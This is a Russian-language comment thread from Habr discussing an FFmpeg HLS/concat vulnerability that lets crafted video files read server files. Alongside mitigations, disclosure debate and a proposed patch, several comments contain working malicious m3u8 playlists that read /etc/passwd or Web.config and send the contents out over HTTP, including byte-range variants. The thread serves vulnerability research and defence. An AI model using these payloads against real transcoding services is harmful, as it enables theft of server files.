Комментарии 66
Очень интересные трюки. Респект.
+25
А как лучше всего защищаться от подобного? Как защитились крупные компании?
+5
НЛО прилетело и опубликовало эту надпись здесь
Из текста следует, что проще всего отправлять плейлисты m4u на фильтрацию в /dev/null. Ясно же, что от пользователя ожидается нормальный видеофайл, а не ссылка на него. Если это не выход по каким-то причинам, то придется ограничивать поддержку обращений к внешним файлам / URL'ам в перекодировщике хотя бы путем выпиливания из кода или хитрым конфигом (навскидку в ffmpeg(1) не нашел ничего похожего)
0
Вот что я могу посоветовать:
— запускать ffmpeg в изолированном окружении — всегда хорошо и может помочь и при нахождении уязвимостей в самом ffmpeg
— ffmpeg внутри этого окружения из под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
— отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно
в случае описанной аттаки даже любое одно из этих простых правил усложнило бы эксплуатацию уязвимости, а вместе они бы позволили защититься от нее.
Небольшое обсуждение по теме было в комментариях к другому посту, там я объяснял, почему мне не нравится идея с построением белого/черного списка форматов/кодеков.
— запускать ffmpeg в изолированном окружении — всегда хорошо и может помочь и при нахождении уязвимостей в самом ffmpeg
— ffmpeg внутри этого окружения из под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
— отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно
в случае описанной аттаки даже любое одно из этих простых правил усложнило бы эксплуатацию уязвимости, а вместе они бы позволили защититься от нее.
Небольшое обсуждение по теме было в комментариях к другому посту, там я объяснял, почему мне не нравится идея с построением белого/черного списка форматов/кодеков.
+11
Сделайте препроцессинг. Можно натравить команду file на пользовательский файл и посмотреть ответ, можно выделить расширение и по нему просто форсировать формат:
Ну да, всякие chroot и прочие песочницы, перечисленные выше тоже мастхев. Ровно как и сборка FFmpeg под себя.
Пользовательский файл — ничем не отличается от любого другого пользовательского ввода. Всегда нужно защищаться и предохраняться. Действовать по приципу: запрещено всё, что не разрешено.
ext=`echo "$in" | awk -F. '{print $NF}'`
case "$ext" in
mp4)
format=mp4
;;
*)
echo "unknown format" >&2
exit 1
;;
esac
ffmpeg -f "$format" "$in" ....
указание формата имеет больший вес, чем автодетект по содержимому.Ну да, всякие chroot и прочие песочницы, перечисленные выше тоже мастхев. Ровно как и сборка FFmpeg под себя.
Пользовательский файл — ничем не отличается от любого другого пользовательского ввода. Всегда нужно защищаться и предохраняться. Действовать по приципу: запрещено всё, что не разрешено.
+3
AppArmor?
0
Эта статья, глоток свежего воздуха. Спасибо.
+40
Очень круто исследование!
На относительно новых ffmpeg 2.8.1 и 2.5.1 повторить не удалось, видимо, механизм concat переработан.
Вот вывод netcat (для 2.8.1):
Обратите внимание на пустой query string и версию libavformat 56.40.101 (автор использует 54.20.4). Насколько я понимаю, это ffmpeg версии 1.2.x?
На относительно новых ffmpeg 2.8.1 и 2.5.1 повторить не удалось, видимо, механизм concat переработан.
Вот вывод netcat (для 2.8.1):
GET ? HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Connection: close
Host: 127.0.0.1:5002
Icy-MetaData: 1
Обратите внимание на пустой query string и версию libavformat 56.40.101 (автор использует 54.20.4). Насколько я понимаю, это ffmpeg версии 1.2.x?
0
Я сталкивался с таким, это из-за того, что в header.m3u8 в самом конце после «example.org?» есть \r и/или \n который вставил редактор, нужно их обязательно удалить, чтобы последний байт был "?".
Проверить можно через $ hexdump -C header.m3u8 — это 0x0a / 0x0d
В ffmpeg 2.8.x пару месяцев назад все воспроизводилось.
Проверить можно через $ hexdump -C header.m3u8 — это 0x0a / 0x0d
В ffmpeg 2.8.x пару месяцев назад все воспроизводилось.
+5
Действительно, без \n баг повторяется на последней версии ffmpeg.
0
Но я бы не навзывал это багом ffmpeg, ведь concat работает точно так, как и описанно в его документации :)
+8
Да, пожалуй, concat работает верно — неверно работает HLS demuxer (URL, начинающийся с concat, явно не соотвествует спекам HLS)
Как один из вариантов решения проблемы — отказаться от использования hls demuxer при сборке:
Если нет возможность отключить сетевое взаимодействие.
Как один из вариантов решения проблемы — отказаться от использования hls demuxer при сборке:
--disable-demuxer='hls,applehttp'
Если нет возможность отключить сетевое взаимодействие.
+2
А если только concat протокол: habrahabr.ru/company/mailru/blog/274855/#comment_8736805?
+1
К слову сказать, я не совсем понял, где такое поведение описано в документации: www.ffmpeg.org/ffmpeg-protocols.html#concat?
0
Read and seek from many resources in sequence as if they were a unique resource.
я это понимаю как
concat:first://arg1|second://arg2
=>
./result `./first arg1``./second arg2`
+1
Но тогда, из ихнего же примера, получится так:
Что-то тут не то. Косвенно это подтверждает документация на фильтр concat: www.ffmpeg.org/ffmpeg-filters.html#concat а так же код демуксера:
В протокольной реализации — аналогично: последовательно идём по списке URL.
ffplay concat:split1.mpeg\|split2.mpeg\|split3.mpeg => ffplay split1.mpegsplit2.mpegsplit3.mpeg
Что-то тут не то. Косвенно это подтверждает документация на фильтр concat: www.ffmpeg.org/ffmpeg-filters.html#concat а так же код демуксера:
static int concat_read_packet(AVFormatContext *avf, AVPacket *pkt)
{
....
while (1) {
ret = av_read_frame(cat->avf, pkt);
if (ret == AVERROR_EOF || packet_after_outpoint(cat, pkt)) {
....
if ((ret = open_next_file(avf)) < 0) // <========= открываем следующий файл, а не собираем воедино
return ret;
continue;
}
...
}
if ((ret = filter_packet(avf, cs, pkt)))
return ret;
...
return ret;
}
В протокольной реализации — аналогично: последовательно идём по списке URL.
-1
Ох, извиняюсь! Вы правы, он как бы их склеивает. Читаются они последовательно. Более детально код посмотрел. Но всё равно, больше одной стороки из второго файла прочитать не получится, точнее прочитается, но запросом на другой сервер отправить получится только одну: дальше будет читаться второй файл, а в нём уже нужных URL и нет. Сохранение же в выходной файл продолжает работать, но эта проблема лечится фильтрацией по входу и форсированным указанием формата, плюс отключением concat протокола (его полезность вообще сомнительна, кроме как для header-less входных данных).
0
В плейлисте может быть плейлист, и если в ответ на полученную первую строчку прислать в ответ еще один плейлист, где будет запрос с нужным offset'ом (subfile) второй строчки, а дальше повторять так, пока не прочитаем весь файл построчно, то все должно получиться.
+1
Собрал header.m3u8:
и remote.m3u8:
Всё зависло: pastebin.com/bt4MySQy а вот опции offset у file: нет. Есть только truncate и blocksize.
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost/remote.m3u8?
и remote.m3u8:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost/remote.m3u8?
Всё зависло: pastebin.com/bt4MySQy а вот опции offset у file: нет. Есть только truncate и blocksize.
0
habrahabr.ru/company/mailru/blog/274855/#comment_8737209, проверил с subfile (кстати спасибо за наводку, не за всем следить получается) — либо я что-то делаю не так.
0
Друго фариант
test.mkv — инъекция
header.m3u8:
и remote.m3u8
Запросы идут такого плана: pastebin.com/tTq7K6K3
т.е. в ответ на remote.m3u8 и приходит playlist, но обрабатывается уже как-то по другому.
test.mkv — инъекция
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
header.m3u8:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost/remote.m3u8?
и remote.m3u8
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
Запросы идут такого плана: pastebin.com/tTq7K6K3
т.е. в ответ на remote.m3u8 и приходит playlist, но обрабатывается уже как-то по другому.
0
Попробовал ещё по другому, модифицировал test.mkv так:
тоже безуспешно.
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwd
concat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwd
concat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwd
concat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
#EXT-X-ENDLIST
тоже безуспешно.
0
Получилось вот так: www.linux.org.ru/news/security/12265930?cid=12269879
Для полноты картины, небольшой смарт-тест на предмет опасности тамбнейлов: www.linux.org.ru/news/security/12265930?cid=12269783
А вообще, не хорошо публиковать подобные проблемы до фикса. Не этично как-то.
Для полноты картины, небольшой смарт-тест на предмет опасности тамбнейлов: www.linux.org.ru/news/security/12265930?cid=12269783
А вообще, не хорошо публиковать подобные проблемы до фикса. Не этично как-то.
0
А как вы собираетесь донести эту проблему до всех пользователей и держателей сервиса по всему миру??
Вот именно что об этом надо кричать на весь мир, а не публиковать в секретных материалах.
Вот именно что об этом надо кричать на весь мир, а не публиковать в секретных материалах.
+1
(в сердцах: да что же это такое...)
Объясняю: находишь проблему, сразу пишешь не на форум/хабр/ещё куда, а в список рассылки проблемного продукта. Именно так, не иначе.
Дальнейшие действия могут иметь вариативный характер:
И вот тут только доносите проблему до пользователей по всему миру любым желаемым способом. Причём, скорее всего, с советом — что можно сделать. А не рекомендацией закрыть свой сервис или не скачивать видео из интернета вообще.
Заметьте, в таком сценарии от момента обнаружения проблемы, до момента публикации миру проходит не более суток. В случае описанной проблемы:
Объясняю: находишь проблему, сразу пишешь не на форум/хабр/ещё куда, а в список рассылки проблемного продукта. Именно так, не иначе.
Дальнейшие действия могут иметь вариативный характер:
- Чуть подождать (допустим — сутки), но получить подтверждение проблемы в рассылке и совет как обезопасить. В данном случая: выключить concat и/или hls или форсировать формат (что валидно для случая сервисов). Это могут сделать как маинтейнеры пакетов, так и конечный пользователь и это уже позволит избежать проблем.
- Опубликовать в открытом доступе, если реакции нет никакой.
И вот тут только доносите проблему до пользователей по всему миру любым желаемым способом. Причём, скорее всего, с советом — что можно сделать. А не рекомендацией закрыть свой сервис или не скачивать видео из интернета вообще.
Заметьте, в таком сценарии от момента обнаружения проблемы, до момента публикации миру проходит не более суток. В случае описанной проблемы:
- Прошло почти 2 месяца (как сказал автор, уязвимость упоминалась на habrahabr.ru/company/mailru/blog/270077, который проходил 22 октября 2015 года).
- Разработчики были одними из последних, кому сообщили о проблеме (после вопросов в комментариях).
+1
Версию 54.20.4 ещё libav отдаёт. В LTS 14.04 убунты это Libav 9.18. Чисто к сведению.
-1
Попробуйте во Flash Player это запустить :D
-1
а просто отключить обработку плей-листов?
0
Супер-клево! Я только не понял, почему вы должны были умереть через 7 дней.
0
Небольшая отсылка к одному фильму :)
+4
Похоже, помимо самого ffmpeg страдают и все производные либы\плееры: я на smplayer локально воспроизвел.
Теперь как-то стремно запускать любые виды файлов на любых девайсах…
Фаервол и песочницы наше все
Теперь как-то стремно запускать любые виды файлов на любых девайсах…
Фаервол и песочницы наше все
+5
Кстати, автору хоть и респект, но вот я предвкушаю сейчас волну видео на торрентах и прочих файлопомойках с «изюминкой». В самом страшном сне — внедрение фрэйма в видео непосредственно при закачке с сервера.
И вот защиты кроме песочницы до фикса со стороны маинтейнеров ffmpeg и всех производных я пока не придумал.
А потом еще всех обновится заставить нужно… А еще же есть куча юзеров, не подпадающих под описание «сознательный юниксоид». А еще разные недоприложения на разные платформы…
O, SHI~
И вот защиты кроме песочницы до фикса со стороны маинтейнеров ffmpeg и всех производных я пока не придумал.
А потом еще всех обновится заставить нужно… А еще же есть куча юзеров, не подпадающих под описание «сознательный юниксоид». А еще разные недоприложения на разные платформы…
O, SHI~
+2
Да. Например, если попытаться определить формат файла утилитой ffprobe, то сработает эта же уязвимость.
0
Самое страшное, что срабатывает даже фоновая индексация, к примеру, kde baloo.
Мне кажется, стоило бы на этом особо акцентировать внимание, заодно написать, засланы ли баги непосредственно маинтейнерам софта или пора надевать шапочки из фольги и отключать интернет
Мне кажется, стоило бы на этом особо акцентировать внимание, заодно написать, засланы ли баги непосредственно маинтейнерам софта или пора надевать шапочки из фольги и отключать интернет
+1
До публикации этой статьи я считал, что проблемы в ffmpeg нету и фиксить в нем нечего, но whisk в обсуждении поста написал
и я с ним согласен
Постараюсь на выходных (а может и раньше) сделать патч / хотя бы отписать разработчикам ffmpeg с указанием хорошего, по моему мнению, решения для фикса.
Да, пожалуй, concat работает верно — неверно работает HLS demuxer (URL, начинающийся с concat, явно не соотвествует спекам HLS)
и я с ним согласен
Постараюсь на выходных (а может и раньше) сделать патч / хотя бы отписать разработчикам ffmpeg с указанием хорошего, по моему мнению, решения для фикса.
+2
UPD: патч/репорт в ffmpeg/libav отправлены
+2
Можно ссылку на репорт? Или в мыл-лист кинуто?
0
На security@, поэтому ссылки нет
0
А патч можно? Что бы, к примеру, у себя в PPA добавить в сборку, пока в официальных версиях нет.
0
Я предложил такой вариант, но его желательно проверить тому, кто нормально знаком с кодом ffmpeg.
diff --git a/libavformat/hls.c b/libavformat/hls.c
index cd64501..8893f24 100644
--- a/libavformat/hls.c
+++ b/libavformat/hls.c
@@ -610,6 +610,10 @@ static int open_url(HLSContext *c, URLContext **uc, const char *url, AVDictionar
{
AVDictionary *tmp = NULL;
int ret;
+ const char *proto_name = avio_find_protocol_name(url);
+ // only http(s) & file are allowed
+ if (!av_strstart(proto_name, "http", NULL) && !av_strstart(proto_name, "file", NULL))
+ return AVERROR_INVALIDDATA;
av_dict_copy(&tmp, c->avio_opts, 0);
av_dict_copy(&tmp, opts, 0);
+1
В Ubuntu, похоже, послали, мол не наша проблема:
Ждем патча от ffmpeg team
Since the package referred to in this bug is in universe or multiverse, it is community maintained. If you are able, I suggest coordinating with upstream and posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package.
Ждем патча от ffmpeg team
0
А почему белый список протоколов? Спека же не запрещает использовать другие, если я правильно понял. Например, бывает удобно играть медиа-файлы через FTP.
0
Ну, как быстрый — вполне себе. Редко когда HLS используется в связке с FTP или другими протоколами. С другой стороны, согласен, что стоило бы исключить только «внутренние» протоколы, которые может понять только FFmpeg. Но, что бы не говнякать, нужно как-то научиться отличать внутренние от не внутренних. Возможно, какой-то флаг добавится к AVFMT_xxx
-1
А чем локально оно может навредить?
0
Не могу заставить работать конкат на windows, Invalid data found when processing input хоть ты убейся.
mp4 выглядит так:
mp4 выглядит так:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://mysite.local/header.y4m|file://d:/Web.config
#EXT-X-ENDLIST
0
Пардон, заработало вот так
, правда не весь файл а только часть. Но все равно очень круто
|Web.config
, правда не весь файл а только часть. Но все равно очень круто
0
Обычно в схеме file косых черточек идет три — file:///, а не две.
0
Кстати, только сейчас в голову пришло: я не вижу ссылки на баг-репорт. Он есть? Или патч с исправлением проблемы отослан разработчикам FFmpeg?
0
Отлично, хотя, мне кажется проблема в concat тоже есть: habrahabr.ru/company/mailru/blog/274855/#comment_8736847
0
FFmpeg «фиксить не надо», это не решение проблемы, т.к. таких хитропопостей может быть еще вагон.
Нужно что-то вроде: habrahabr.ru/post/113143
(извините, что ссылаюсь на свой бред =) )
Нужно что-то вроде: habrahabr.ru/post/113143
(извините, что ссылаюсь на свой бред =) )
0
0
На Ubuntu 15.10 уже вышел фикс.
0
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Опасное видео: как я нашёл уязвимость в видеохостингах и не умер через 7 дней